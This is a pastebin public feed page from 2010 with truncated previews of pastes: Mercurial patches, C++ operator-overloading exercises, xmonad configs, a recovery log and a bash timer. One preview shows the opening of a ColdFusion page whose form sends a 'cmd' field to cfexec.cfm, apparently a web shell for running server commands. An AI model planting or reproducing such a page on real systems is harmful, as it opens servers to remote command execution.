All pastes›Public feed

Public feed

Pastes people chose to make public. Author names hidden.
  • nicdumz

    1917397·text·7.2 KB·2010-08-15 14:09 UTC
    diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
    --- a/mercurial/cmdutil.py
    +++ b/mercurial/cmdutil.py
    @@ -1059,8 +1059,14 @@
     # We only have to read through the filelog to find wanted
  • nicdumz

    1917396·text·7.2 KB·2010-08-15 14:01 UTC
    diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
    --- a/mercurial/cmdutil.py
    +++ b/mercurial/cmdutil.py
    @@ -1059,8 +1059,14 @@
     # We only have to read through the filelog to find wanted
  • the world of happiness

    1917365·html·5.7 KB·2010-08-15 12:50 UTC
    // ==UserScript==
    // @name -ORKUT-Cool Theme By VATSAN '¹
    // @namespace http://userstyles.org
    // @description Rocking Theme for orkut by Vatsan
    // @author Vatsan The Rocking
  • nicdumz

    1917352·text·11.0 KB·2010-08-15 12:40 UTC
    # HG changeset patch
    # Parent aae1dd12fce6067cf6b7db8140c705789bcb5ea4
    # User Nicolas Dumazet <nicdumz.commits@gmail.com>
    # Date 1278148845 -32400
    log: do not --follow file that is deleted and recreat
  • [] operator Overloading

    1917306·cpp·592 B·2010-08-15 10:06 UTC
    //[] operator Overloading
    #include <iostream.h>
    #include <process.h>
    class matrix
    {
    private:
     int mat[4];
    public:
    
     matrix()
     {
     mat[0]=1;
     mat[1]=2;
     mat[2]=3;
     mat[3]=4;
     }
  • [] operator Overloading

    1917305·cpp·600 B·2010-08-15 10:05 UTC
    //[] operator Overloading
    #include <iostream.h>
    #include <process.h>
    class matrix
    {
    private:
     int mat[4];
    public:
    
     matrix()
     {
     mat[0]=1;
     mat[1]=2;
     mat[2]=3;
     mat[3]=4;
     }
  • Parenthesis () Operator Overload

    1917302·cpp·495 B·2010-08-15 10:04 UTC
    // () Operator Overloading
    
    #include <iostream.h>
    
    class matrix
    {
    private:
     int mat[2][2];
    public:
    
     matrix()
     {
     mat[0][0]=1;
     mat[0][1]=2;
     mat[1][0]=3;
     mat[1][1]=4;
     }
  • Binary - Overloading

    1917300·cpp·639 B·2010-08-15 10:03 UTC
    //Binary - Overloading
    
    #include <iostream.h>
    
    class complex
    {
     int real, imag;
     public:
     complex(int tr,int ti)
     {
     real=tr;
     imag=ti;
     }
     complex(){}
     void display()
     {
  • KM to MILE CONVERSION

    1917298·cpp·767 B·2010-08-15 10:02 UTC
    //KM -> MILE CONVERSION
    #include <iostream.h>
    #include <conio.h>
    class mile
    {
     double ml;
     public:
     mile(){}
     mile(double tm)
     {
     ml=tm;
     }
     double display()
     {
     return ml;
  • Insertion and Extraction Opr ov

    1917297·cpp·809 B·2010-08-15 10:01 UTC
    //<< and >> operators Overloading
    
    #include <iostream.h>
    
    class Date
    {
    private:
     int day, month, year;
    public:
     Date(){}
     Date(int m, int d, int y)
     {
     day=d;
     month=m;
     year=y;
     }
  • and operators Overloading

    1917296·cpp·811 B·2010-08-15 09:59 UTC
    //<< and >> operators Overloading
    
    #include <iostream.h>
    
    class Date
    {
    private:
     int day, month, year;
    public:
     Date(){}
     Date(int m, int d, int y)
     {
     day=d;
     month=m;
     year=y;
     }
  • ++ and -- Operator overloading

    1917295·cpp·975 B·2010-08-15 09:58 UTC
    //++ and -- Operator overloading
    #include <iostream.h>
    #include <process.h>
    
    class clock
    {
     int hours, min;
     public:
     clock(int th, int tm)
     {
     hours=th;
     min=tm;
     }
     void display
  • ++ and -- Operator overloading

    1917293·cpp·979 B·2010-08-15 09:56 UTC
    //++ and -- Operator overloading
    #include <iostream.h>
    #include <process.h>
    
    class clock
    {
     int hours, min;
     public:
     clock(int th, int tm)
     {
     hours=th;
     min=tm;
     }
     void display
  • Someone

    1917279·text·39.4 KB·2010-08-15 08:47 UTC
    
        
  • Someone

    1917241·text·1.4 KB·2010-08-15 06:35 UTC
    <td><a href="/cgi-bin/koha/opac-detail.pl?biblionumber=14473&amp;shelfbrowse_itemnumber=2#shelfbrowser">
    
     
     <div style="" title="14473" class="047116433X (v.1 : pbk)" id="gbs-thumbnai
  • Something

    1917238·text·792 B·2010-08-15 06:23 UTC
    <cfoutput>
    <table>
    <form method="POST" action="cfexec.cfm">
    <tr><td>Command:</td><td><input type=text name="cmd" size=50 
     <cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
    <t
  • Tomatoe.sh

    1917151·bash·2.2 KB·2010-08-15 00:52 UTC
    #! /usr/bin/env bash
    # File: tomatoe.sh
    # What the..?: A simple timer to apply The Pomodoro Technique.
    # Who the..?: ksaver (at identi.ca).
    # Why? : In the H
  • Untitled

    1917142·text·1.9 KB·2010-08-15 00:11 UTC
    Starting recovery on Sat Aug 14 23:59:33 2010
    framebuffer: fd 4 (320 x 480)
    Build : RA-dream-v1.7.0R
    I:Boot command: boot-recovery
    I:Boot status: invalid-update
    I:Got arguments from boot message
  • ml|

    1917126·text·17.0 KB·2010-08-14 23:26 UTC
    -- $HOME/.xmonad/xmonad.hs for i531 --
    
    {-# LANGUAGE NoMonomorphismRestriction #-}
    
    import System.IO
    import XMonad
    
    import XMonad.Actions.CycleWS
    import XMonad.Actions.GridSelect
    import XMonad.Actions
  • ml|

    1917125·text·17.0 KB·2010-08-14 23:22 UTC
    -- $HOME/.xmonad/xmonad.hs for i531 --
    
    {-# LANGUAGE NoMonomorphismRestriction #-}
    
    import System.IO
    import XMonad
    
    import XMonad.Actions.CycleWS
    import XMonad.Actions.GridSelect
    import XMonad.Actions

older pastes →